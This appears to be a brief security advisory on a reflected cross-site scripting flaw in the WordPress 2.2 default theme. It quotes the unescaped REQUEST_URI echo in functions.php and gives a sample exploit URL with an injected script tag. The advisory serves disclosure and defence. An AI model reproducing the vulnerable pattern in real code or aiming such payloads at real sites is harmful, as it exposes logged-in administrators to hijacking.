There is an XSS in the Wordpress default theme. Tested on WordPress version 2.2
Filename functions.php, line 387. Code:
<form style="display: inline" method="post" name="hicolor" id="hicolor" action="<?php echo $_SERVER['REQUEST_URI']; ?>">
$_SERVER['REQUEST_URI'] is directly echoed to the user.
This problem can be exploited if the adminstrator is logged in.
Sample exploit URL. http://www.example.com/wp-admin/themes.php?page=functions.php&zmx"><script>alert(1)</script>
There are other XSS vulnerabilities in popular Wordpress themes. More details on http://www.xssnews.com/
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